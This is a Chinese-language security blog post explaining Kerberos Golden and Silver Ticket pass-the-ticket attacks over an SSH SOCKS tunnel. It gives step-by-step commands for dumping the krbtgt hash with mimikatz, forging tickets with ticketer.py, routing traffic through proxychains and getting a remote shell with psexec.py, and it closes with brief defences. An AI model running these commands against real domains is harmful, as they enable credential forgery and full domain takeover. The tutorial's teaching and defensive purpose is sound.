前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >通过SSH隧道传递票证

通过SSH隧道传递票证

作者头像
安恒网络空间安全讲武堂
发布2019-09-17 14:57:42
1.1K0
发布2019-09-17 14:57:42
举报

No.1

声明

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,雷神众测以及文章作者不为此承担任何责任。 雷神众测拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经雷神众测允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

No.2

前言

PTT攻击方法代替明文密码或NTLM哈希的使用Kerberos票据。可能PTT最常见的用途是使用金色和银色门票。通过PTT获得对主机的访问是相当简单的

No.3

金票

你有普通域用户权限,但是没有域的权限,知道账户hash,krbtgt,krbtgt密码未修改,该票据可以重新获得域管理员权限,利用krbtgt的HASH值可以伪造生成任意的TGT(mimikatz),能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于Kerberos认证的任何服务

  • 需要与DC通信
  • 需要krbtgt用户的hash

要创建Golden Ticket,我们需要从目标域获取以下信息:

  • krbtgt帐户NT哈希
  • 域SID
  • 域FQDN

首先获取域ID和krbtgt用户hash:

mimikatz# lsadump::lsa /patch

我们将使用Impacket的示例脚本ticketer.py来创建Golden Ticket凭证缓存(ccache)文件。以下是为用户创建ccache文件

./ticketer.py -nthash NT哈希 -domain-sid DOMAIN-SID -domain DOMAIN.FQDN

要使Impacket示例脚本能够使用ccache文件进行身份验证,而不是提供明文密码或NT哈希,我们需要将KRB5CCNAME变量设置为ccache文件的绝对路径:

export KRB5CCNAME=/path/to/ccache/file

验证变量设置是否正确:

echo $KRB5CCNAME

现在我们可以将-k标志与任何支持Kerberos身份验证的Impacket脚本一起使用,以使用Golden Ticket,而不是提供明文密码或NT哈希值。

No.4

名称解析

为了确保Kerberos进程功能,我们需要修改/etc/hosts攻击者计算机的文件,以包含目标域控制器的FQDN和目标主机的NetBIOS名称的条目。

nano /etc/hosts

127.0.0.1localhost 192.168.75.128aaa.bbb(FQDN) 192.168.75.137 WIN-111(NETbios)

如果您还没有域控制器的IP地址,请通过目标Linux主机上的SSH会话在目标域的FQDN上运行nslookup。例如:

nslookup -type=srv _ldap._tcp.aaa.bbb

No.5

Proxychains

我们将使用代理链通过SSH隧道路由我们的流量。通过查看配置文件的最后一行来验证代理链端口,/etc/proxychains.conf默认情况下在Kali上。

创建一个SOCKS代理,代理链将路由流量

ssh unpriv@10.0.10.81 -D 1337

要验证隧道是否已正确设置,我们可以使用代理链对目标主机的端口445运行nmap TCP连接扫描:

proxychains nmap -sT -Pn -p445 192.168.75.137

No.6

时间同步

运行以下命令将返回交互式CMD提示:

proxychains net time -S <IP-of-DC> proxychains net time set -S <IP-of-DC>

No.7

启动攻击

运行以下命令将返回交互式CMD提示:

proxychains ./psexec.py user@WIN-111 -k -no-pass

也可以用MSF

use exploit/windows/smb/psexec_psh

No.8

银票

两个票据之间的区别:

访问权限不同

Golden Ticket:伪造TGT,可以获取任何Kerberos服务权限 Silver Ticket:伪造TGS,只能访问指定的服务

加密方式不同

Golden Ticket :由Kerberos的Hash加密 Silver Ticket :由服务账号(通常为计算机账户)Hash加密

认证流程不一样

Golden Ticket 的利用过程需要访问域控,而Silver Ticket不需要

No.9

伪造票据

要生成银票,我们需要以下信息:

  • 目标主机帐户NTLM哈希
  • 目标主机FQDN
  • 目标服务
  • 域SID
  • 域FQDN

使用Mimikatz的Kerberos模块生成Silver Ticket :

kerberos::golden /user:USERNAME /domain:DOMAIN.FQDN /sid:DOMAIN-SID /target:TARGET-HOST.DOMAIN.FQDN /rc4:TARGET-MACHINE-NT-HASH /service:SERVICE

退出Mimikatz并启动Kekeo。使用以下语法将kirbi文件转换为ccache文件:

misc::convert ccache /path/to/ticket.kirbi

您可以使用以下语法转换多个kirbi票证:

misc::convert ccaches /path/to/ticket1.kirbi /path/to/ticket2.kirbi ...

将ccache文件Kekeo输出复制到攻击Linux主机。确保在Linux主机上记下文件的绝对路径; 我们需要它来设置KRB5CCNAME变量。其余的攻击使用我们的Linux主机。

No.10

攻击设置

剩余的Silver Ticket攻击设置与Golden Ticket攻击大致类似,但有两个例外。

首先,我们需要在/etc/hosts文件中提供目标主机的FQDN ,而不是NetBIOS名称。对于我们的示例,该/etc/hosts文件应如下所示:

127.0.0.1localhost 192.168.26.129aaa.bbb 192.168.26.128 WIN-111.aaa.bbb

第二个区别是我们需要将攻击机器的时间与目标主机同步; Silver Tickets不与目标的域控制器通信。

按照与上面的Golden Ticket攻击相同的步骤设置KRB5CCNAME变量,验证代理链配置,使用SOCKS代理建立SSH隧道,并使用nmap验证隧道。

No.11

启动攻击

我们现在可以psexec.py针对目标主机的FQDN 启动攻击:

proxychains python psexec.py user@WIN-111.aaa.bbb -k -no-pass

No.12

防御手段

针对黄金票据 1.设置域管理员权限,只允许登陆域管服务器和少数管理服务器,同时也不能让其他管理员账户登陆个人主机,这样可以有效防止攻击者获取到域管权限从而窃取ntds.dit,以此防止获取KBRBTHGT账户hash。 2.禁用KRBTGT账户,此时在Kerberos票据进行签署PAC并加密TGT时,会检查KRBTGT以前的密码来进行验证,保存好以前的密码。 3.定期更换KRBTHTGT密码,确保每年至少更改一次密码 4.当攻击者创建黄金票据时,通过快速更改密码,使其失效。 针对白银票据 1.尽量保证服务器凭证不被窃取 2.开启PAC (Privileged Attribute Certificate) 特权属性证书保护功能。

END

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-09-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 恒星EDU 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档